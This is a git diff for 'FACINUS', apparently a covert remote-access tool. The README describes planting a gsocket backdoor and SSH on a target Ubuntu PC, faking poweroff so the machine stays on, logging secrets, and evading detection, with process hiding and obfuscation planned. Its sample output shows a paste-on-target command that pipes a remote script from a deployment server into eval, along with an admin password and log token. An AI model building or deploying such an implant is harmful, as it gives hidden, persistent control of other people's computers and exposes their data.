diff --git a/README.md b/README.md index 7a6a62e..109f606 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,47 @@ -## FACINUS - get a 24/7 access to physical pc with gsocket that acts as turned off +## FACINUS - set a 24/7 access on a Ubuntu PC you have access to with [gsocket](https://www.gsocket.io/) and other features This script is setting up an Apache server on your Arch based linux distro and targets Ubuntu/Debian. ## Features - **SSH**: Set up SSH server on target to quickly access from internal network. - **WOL**: Check for wake-on-lan availability, to be able to wake any other pc's on network which ran the script. -- **24/7**: Be in suspend mode when trying to power off. +- **24/7**: Fake a poweroff to keep the PC running 24/7. - **Log**: Logs everything on your server. - **gsocket**: Set up a gsocket service on target to access the server from anywhere. -- **Secure**: Simple evading techniques to avoid detection. +- **Stealth**: Simple evading techniques to avoid detection. + +## Installation +For now this script doesn't have checks for other distros than Arch based with pacman package manager. I'll add more checks later. +You just have to run the install script that will setup everything automatically for you. +``` +./install +``` + +## Web Interface +After running the script you'll see something like this: +``` +./install +[sudo] password for elleoma: +Obfuscated script created. +============================================================== +Deployment server setup complete! +============================================================== +Server URL: http://192.168.0.131/deployment +Admin Page: http://192.168.0.131/deployment/admin.php +Admin Password: 2cn2lguMIdx9 +Client Setup Command: eval "$(curl -fsSL http://192.168.0.104/deployment/y)" +============================================================== +Secret Token for accessing logs: NTVEYJWTYAk5OolAAKYodaSjPWKaKb4X +============================================================== +``` +After accessing url you'll see a simple commands to copy and paste on the target. +On the admin panel you can check the logs and the secrets for gsocket access. + +![image](https://github.com/elleoma/facinus/screenshots/admin.png) + +## TODO +- [ ] Add checks for other distros +- [ ] Fix fake poweroff +- [ ] Obfuscation, process hiding, etc. +- [ ] Ability to install common precompiled binaries on a target without root access. +- [ ] Add options to the script (no root, no services, etc.) diff --git a/install b/install index eaaea54..dde1bd6 100755 --- a/install +++ b/install @@ -900,7 +900,6 @@ if ! grep -q "Include conf/extra/deployment.conf" /etc/httpd/conf/httpd.conf; th echo "Include conf/extra/deployment.conf" | sudo tee -a /etc/httpd/conf/httpd.conf > /dev/null fi -sudo systemctl enable httpd sudo systemctl restart httpd echo "==============================================================" echo "Deployment server setup complete!" diff --git a/screenshots/admin.png b/screenshots/admin.png new file mode 100644 index 0000000..16327cd Binary files /dev/null and b/screenshots/admin.png differ